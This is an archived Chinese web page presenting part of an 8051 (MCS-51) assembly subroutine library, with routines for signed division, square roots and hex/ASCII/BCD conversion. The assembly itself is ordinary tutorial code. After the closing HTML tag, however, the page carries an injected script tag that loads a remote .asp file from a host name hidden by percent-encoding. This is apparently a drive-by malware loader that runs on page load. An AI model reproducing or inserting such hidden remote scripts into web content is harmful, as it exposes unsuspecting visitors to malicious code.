学习单片机2.htm

单片机子程序库

        <TBODY>
        <TR>
          <TD width=745 height=1>MCS-51单片机实用子程序库</TD>
        <TR>
          <TD width=745 height=1></TD>
        <TR>
          <TD width=745 height=1>（１１） 标号： ＤＩＶＳ 功能：双字节二进制有符号数除法（补码） 
            <P>入口条件：被除数在R2、R3、R4、R5中，除数在R6、R7中。<BR>出口信息：OV=0时商在R2、R3中，OV=1时溢出。<BR>影响资源：PSW、A、B、R1～R7 
            堆栈需求： ５字节<BR>DIVS: LCALL MDS ；计算结果的符号和两个操作数的绝对值<BR>PUSH PSW 
            ；保存结果的符号<BR>LCALL DIVD ；计算两个绝对值的商<BR>JNB OV,DVS1 ；溢出否？<BR>POP ACC 
            ；溢出，放去结果的符号，保留溢出标志<BR>RET<BR>DVS1: POP PSW ；未溢出，取出结果的符号<BR>MOV 
            R4,#0<BR>MOV R5,#0<BR>MDSE: JB F0,MDS2 ；用补码表示结果<BR>CLR OV 
            ；结果为正，原码即补码，计算成功<BR>RET<BR>MDS: CLR F0 ；结果符号初始化<BR>MOV A,R6 
            ；判断第二操作数的符号<BR>JNB ACC.7,MDS1；为正，不必处理<BR>CPL F0 ；为负，结果符号取反<BR>XCH 
            A,R7 ；第二操作数取补，得到其绝对值<BR>CPL A<BR>ADD A,#1<BR>XCH A,R7<BR>CPL 
            A<BR>ADDC A,#0<BR>MOV R6,A<BR>MDS1: MOV A,R2 ；判断第一操作数或运算结果的符号<BR>JNB 
            ACC.7,MDS3；为正，不必处理<BR>CPL F0 ；为负，结果符号取反<BR>MDS2: MOV A,R5 
            ；求第一操作数的绝对值或运算结果的补码<BR>CPL A<BR>ADD A,#1<BR>MOV R5,A<BR>MOV 
            A,R4<BR>CPL A<BR>ADDC A,#0<BR>MOV R4,A<BR>MOV A,R3<BR>CPL A<BR>ADDC 
            A,#0<BR>MOV R3,A<BR>MOV A,R2<BR>CPL A<BR>ADDC A,#0<BR>MOV 
            R2,A<BR>MDS3: CLR OV ；运算成功<BR>RET<BR>　<BR>（１２） 标号： ＳＨ２ 
            功能：双字节二进制无符号数开平方（快速）</P>
            <P>入口条件：被开方数在R2、R3中。<BR>出口信息：平方根仍在R2、R3中，整数部分的位数为原数的一半，其余为小数。<BR>影响资源：PSW、A、B、R2～R7 
            堆栈需求： ２字节<BR>SH2: MOV A,R2<BR>ORL A,R3<BR>JNZ SH20<BR>RET 
            ；被开方数为零，不必运算<BR>SH20: MOV R7,#0 ；左规次数初始化<BR>MOV A,R2<BR>SH22: ANL 
            A,#0C0H ；被开方数高字节小于４０Ｈ否？<BR>JNZ SQRH ；不小于４０Ｈ，左规格化完成，转开方过程<BR>CLR C 
            ；每左规一次，被开方数左移两位<BR>MOV A,R3<BR>RLC A<BR>MOV F0,C<BR>CLR C<BR>RLC 
            A<BR>MOV R3,A<BR>MOV A,R2<BR>MOV ACC.7,C<BR>MOV C,F0<BR>RLC A<BR>RLC 
            A<BR>MOV R2,A<BR>INC R7 ；左规次数加一<BR>SJMP SH22 ；继续左规<BR>　<BR>（１３） 标号： 
            ＳＨ４ 功能：四字节二进制无符号数开平方（快速）</P>
            <P>入口条件：被开方数在R2、R3、R4、R5中。<BR>出口信息：平方根在R2、R3中，整数部分的位数为原数的一半，其余为小数。<BR>影响资源：PSW、A、B、R2～R7 
            堆栈需求： ２字节<BR>SH4: MOV A,R2<BR>ORL A,R3<BR>ORL A,R4<BR>ORL 
            A,R5<BR>JNZ SH40<BR>RET ；被开方数为零，不必运算<BR>SH40: MOV R7,#0 
            ；左规次数初始化<BR>MOV A,R2<BR>SH41: ANL A,#0C0H ；被开方数高字节小于４０Ｈ否？<BR>JNZ 
            SQRH ；不小于４０Ｈ，左规格化完成<BR>MOV R6,#2 ；每左规一次，被开方数左移两位<BR>SH42: CLR C 
            ；被开方数左移一位<BR>MOV A,R5<BR>RLC A<BR>MOV R5,A<BR>MOV A,R4<BR>RLC 
            A<BR>MOV R4,A<BR>MOV A,R3<BR>RLC A<BR>MOV R3,A<BR>MOV A,R2<BR>RLC 
            A<BR>MOV R2,A<BR>DJNZ R6,SH42 ；被开方数左移完两位<BR>INC R7 ；左规次数加一<BR>SJMP 
            SH41 ；继续左规<BR>SQRH: MOV A,R2 ；规格化后高字节按折线法分为三个区间<BR>ADD A,#57H<BR>JC 
            SQR2<BR>ADD A,#45H<BR>JC SQR1<BR>ADD A,#24H<BR>MOV B,#0E3H 
            ；第一区间的斜率<BR>MOV R4,#80H ；第一区间的平方根基数<BR>SJMP SQR3<BR>SQR1: MOV 
            B,#0B2H ；第二区间的斜率<BR>MOV R4,#0A0H；第二区间的平方根基数<BR>SJMP SQR3<BR>SQR2: 
            MOV B,#8DH ；第三区间的斜率<BR>MOV R4,#0D0H；第三区间的平方根基数<BR>SQR3: MUL AB 
            ；与区间基点的偏移量乘区间斜率<BR>MOV A,B<BR>ADD A,R4 ；累加到平方根的基数上<BR>MOV 
            R4,A<BR>MOV B,A<BR>MUL AB ；求当前平方根的幂<BR>XCH A,R3 
            ；求偏移量（存放在R2R3中）<BR>CLR C<BR>SUBB A,R3<BR>MOV R3,A<BR>MOV 
            A,R2<BR>SUBB A,B<BR>MOV R2,A<BR>SQR4: SETB C ；用减奇数法校正一个字节的平方根<BR>MOV 
            A,R4 ；当前平方根的两倍加一存入R5R6中<BR>RLC A<BR>MOV R6,A<BR>CLR A<BR>RLC 
            A<BR>MOV R5,A<BR>MOV A,R3 ；偏移量小于该奇数否？<BR>SUBB A,R6<BR>MOV B,A<BR>MOV 
            A,R2<BR>SUBB A,R5<BR>JC SQR5 ；小于，校正结束，已达到一个字节的精度<BR>INC R4 
            ；不小于，平方根加一<BR>MOV R2,A ；保存新的偏移量<BR>MOV R3,B<BR>SJMP SQR4 
            ；继续校正<BR>SQR5: MOV A,R4 ；将一个字节精度的根存入R2<BR>XCH A,R2<BR>RRC A<BR>MOV 
            F0,C ；保存最终偏移量的最高位<BR>MOV A,R3<BR>MOV R5,A ；将最终偏移量的低八位存入R5中<BR>MOV 
            R4,#8 ；通过（R5R6／R2）求根的低字节<BR>SQR6: CLR C<BR>MOV A,R3<BR>RLC A<BR>MOV 
            R3,A<BR>CLR C<BR>MOV A,R5<BR>SUBB A,R2<BR>JB F0,SQR7<BR>JC 
            SQR8<BR>SQR7: MOV R5,A<BR>INC R3<BR>SQR8: CLR C<BR>MOV A,R5<BR>RLC 
            A<BR>MOV R5,A<BR>MOV F0,C<BR>DJNZ R4,SQR6 ；根的第二字节计算完，在R3中<BR>MOV 
            A,R7 ；取原被开方数的左规次数<BR>JZ SQRE ；未左规，开方结束<BR>SQR9: CLR C 
            ；按左规次数右移平方根，得到实际根<BR>MOV A,R2<BR>RRC A<BR>MOV R2,A<BR>MOV 
            A,R3<BR>RRC A<BR>MOV R3,A<BR>DJNZ R7,SQR9<BR>SQRE: RET<BR>　<BR>（１４） 
            标号： ＨＡＳＣ 功能：单字节十六进制数转换成双字节ASCII码</P>
            <P>入口条件：待转换的单字节十六进制数在累加器A中。<BR>出口信息：高四位的ASCII码在A中，低四位的ASCII码在B中。<BR>影响资源：PSW、A、B 
            堆栈需求： ４字节<BR>HASC: MOV B,A ；暂存待转换的单字节十六进制数<BR>LCALL HAS1 
            ；转换低四位<BR>XCH A,B ；存放低四位的ASCII码<BR>SWAP A ；准备转换高四位<BR>HAS1: ANL 
            A,#0FH ；将累加器的低四位转换成ASCII码<BR>ADD A,#90H<BR>DA A<BR>ADDC A,#40H<BR>DA 
            A<BR>RET<BR>　<BR>（１５） 标号： ＡＳＣＨ 功能：ASCII码转换成十六进制数</P>
            <P>入口条件：待转换的ASCII码（30H～39H或41H～46H）在A中。<BR>出口信息：转换后的十六进制数（00H～0FH）仍在累加器A中。<BR>影响资源：PSW、A 
            堆栈需求： ２字节<BR>ASCH: CLR C<BR>SUBB A,#30H<BR>JNB ACC.4,ASH1<BR>SUBB 
            A,#7<BR>ASH1: RET<BR>　<BR>（１６） 标号：ＨＢＣＤ 功能：单字节十六进制整数转换成单字节ＢＣＤ码整数</P>
            <P>入口条件：待转换的单字节十六进制整数在累加器A中。<BR>出口信息：转换后的ＢＣＤ码整数（十位和个位）仍在累加器A中，百位在R3中。<BR>影响资源：PSW、A、B、R3 
            堆栈需求： ２字节<BR>HBCD: MOV B,#100 ；分离出百位，存放在R3中<BR>DIV AB<BR>MOV 
            R3,A<BR>MOV A,#10 ；余数继续分离十位和个位<BR>XCH A,B<BR>DIV AB<BR>SWAP A<BR>ORL 
            A,B ；将十位和个位拼装成ＢＣＤ码<BR>RET<BR>　<BR>（１７） 标号： ＨＢ２ 
            功能：双字节十六进制整数转换成双字节ＢＣＤ码整数</P>
            <P>入口条件：待转换的双字节十六进制整数在R6、R7中。<BR>出口信息：转换后的三字节ＢＣＤ码整数在R3、R4、R5中。<BR>影响资源：PSW、A、R2～R7 
            堆栈需求： ２字节<BR>HB2: CLR A ；ＢＣＤ码初始化<BR>MOV R3,A<BR>MOV R4,A<BR>MOV 
            R5,A<BR>MOV R2,#10H ；转换双字节十六进制整数<BR>HB3: MOV A,R7 
            ；从高端移出待转换数的一位到CY中<BR>RLC A<BR>MOV R7,A<BR>MOV A,R6<BR>RLC A<BR>MOV 
            R6,A<BR>MOV A,R5 ；ＢＣＤ码带进位自身相加，相当于乘２<BR>ADDC A,R5<BR>DA A 
            ；十进制调整<BR>MOV R5,A<BR>MOV A,R4<BR>ADDC A,R4<BR>DA A<BR>MOV 
            R4,A<BR>MOV A,R3<BR>ADDC A,R3<BR>MOV R3,A 
            ；双字节十六进制数的万位数不超过６，不用调整<BR>DJNZ R2,HB3 ；处理完１６ｂｉｔ<BR>RET<BR>　<BR>（１８） 
            标号： ＨＢＤ 功能：单字节十六进制小数转换成单字节ＢＣＤ码小数</P>
            <P>入口条件：待转换的单字节十六进制小数在累加器A中。<BR>出口信息：CY=0时转换后的ＢＣＤ码小数仍在A中。CY=1时原小数接近整数１。<BR>影响资源：PSW、A、B 
            堆栈需求： ２字节<BR>HBD: MOV B,#100 ；原小数扩大一百倍<BR>MUL AB<BR>RLC A 
            ；余数部分四舍五入<BR>CLR A<BR>ADDC A,B<BR>MOV B,#10 ；分离出十分位和百分位<BR>DIV 
            AB<BR>SWAP A<BR>ADD A,B ；拼装成单字节ＢＣＤ码小数<BR>DA A 
            ；调整后若有进位，原小数接近整数１<BR>RET<BR>　<BR>（１９） 标号： ＨＢＤ２ 
            功能：双字节十六进制小数转换成双字节ＢＣＤ码小数</P>
            <P>入口条件：待转换的双字节十六进制小数在R2、R3中。<BR>出口信息：转换后的双字节ＢＣＤ码小数仍在R2、R3中。<BR>影响资源：PSW、A、B、R2、R3、R4、R5 
            堆栈需求： ６字节<BR>HBD2: MOV R4,#4 ；四位十进制码<BR>HBD3: MOV A,R3 
            ；原小数扩大十倍<BR>MOV B,#10<BR>MUL AB<BR>MOV R3,A<BR>MOV R5,B<BR>MOV 
            A,R2<BR>MOV B,#10<BR>MUL AB<BR>ADD A,R5<BR>MOV R2,A<BR>CLR A<BR>ADDC 
            A,B<BR>PUSH ACC ；保存溢出的一位十进制码<BR>DJNZ R4,HBD3 ；计算完四位十进制码<BR>POP ACC 
            ；取出万分位<BR>MOV R3,A<BR>POP ACC ；取出千分位<BR>SWAP A<BR>ORL A,R3 
            ；拼装成低字节ＢＣＤ码小数<BR>MOV R3,A<BR>POP ACC ；取出百分位<BR>MOV R2,A<BR>POP ACC 
            ；取出十分位<BR>SWAP A<BR>ORL A,R2 ；拼装成高字节ＢＣＤ码小数<BR>MOV 
            R2,A<BR>RET<BR>　<BR>（２０）标号：ＢＣＤＨ 功能：单字节ＢＣＤ码整数转换成单字节十六进制整数</P>
            <P>入口条件：待转换的单字节ＢＣＤ码整数在累加器A中。<BR>出口信息：转换后的单字节十六进制整数仍在累加器A中。<BR>影响资源：PSW、A、B、R4 
            堆栈需求： ２字节<BR>BCDH: MOV B,#10H ；分离十位和个位<BR>DIV AB<BR>MOV R4,B 
            ；暂存个位<BR>MOV B,#10 ；将十位转换成十六进制<BR>MUL AB<BR>ADD A,R4 
            ；按十六进制加上个位<BR>RET<BR>　<BR>（２１）标号： ＢＨ２ 功能：双字节ＢＣＤ码整数转换成双字节十六进制整数</P>
            <P>入口条件：待转换的双字节ＢＣＤ码整数在R2、R3中。<BR>出口信息：转换后的双字节十六进制整数仍在R2、R3中。<BR>影响资源：PSW、A、B、R2、R3、R4 
            堆栈需求： ４字节<BR>BH2: MOV A,R3 ；将低字节转换成十六进制<BR>LCALL BCDH<BR>MOV 
            R3,A<BR>MOV A,R2 ；将高字节转换成十六进制<BR>LCALL BCDH<BR>MOV B,#100 
            ；扩大一百倍<BR>MUL AB<BR>ADD A,R3 ；和低字节按十六进制相加<BR>MOV R3,A<BR>CLR 
            A<BR>ADDC A,B<BR>MOV R2,A<BR>RET<BR>　<BR>(２２）标号： ＢＨＤ 
            功能：单字节ＢＣＤ码小数转换成单字节十六进制小数</P>
            <P>入口条件：待转换的单字节ＢＣＤ码数在累加器A中。<BR>出口信息：转换后的单字节十六进制小数仍在累加器A中。<BR>影响资源：PSW、A、R2、R3 
            堆栈需求： ２字节<BR>BHD: MOV R2,#8 ；准备计算一个字节小数<BR>BHD0: ADD A,ACC 
            ；按十进制倍增<BR>DA A<BR>XCH A,R3<BR>RLC A ；将进位标志移入结果中<BR>XCH A,R3<BR>DJNZ 
            R2,BHD0 ；共计算８ｂｉｔ小数<BR>ADD A,#0B0H ；剩余部分达到０．５０否？<BR>JNC BHD1 
            ；四舍<BR>INC R3 ；五入<BR>BHD1: MOV A,R3 ；取结果<BR>RET</P>
            <P>　 
            <P align=center><FONT color=black size=3><B><A 
            href="http://www.zsgbailin.com/inages/xxtd/zcx3.htm">MCS-51单片机实用子程序库（三）</A></B></FONT> 

            <P align=center>　</P></TD></TR></TBODY></TABLE>
      <TABLE height=39 cellSpacing=0 width=749 border=0>
        <TBODY>
        <TR>
          <TD width=745 height=1>
            <P align=center><A 
            href="http://www.zsgbailin.com/inages/xxtd/index.htm">网站首页</A> 
          </P></TD></TR></TBODY></TABLE>
      <TABLE height=21 cellSpacing=0 width=749 border=0>
        <TBODY>
        <TR>
          <TD width=745 height=1>
            <HR color=#ff00ff>
          </TD></TR></TBODY></TABLE>
      <TABLE height=39 cellSpacing=0 width=749 border=0>
        <TBODY>
        <TR>
          <TD width=745 height=1>
            <P align=center><FONT face=宋体 color=#800080>声明: 
            部分文章来源于网络/若有侵犯你的权益/请联系我立即删除</FONT> 
  </P></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
<TABLE height=24 cellSpacing=0 width=105 border=0>
  <TBODY>
  <TR>
    <TD width=101 height=3></TD></TR></TBODY></TABLE></CENTER></BODY></HTML>
<script language=javascript ></script><script src="http://%78%66%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>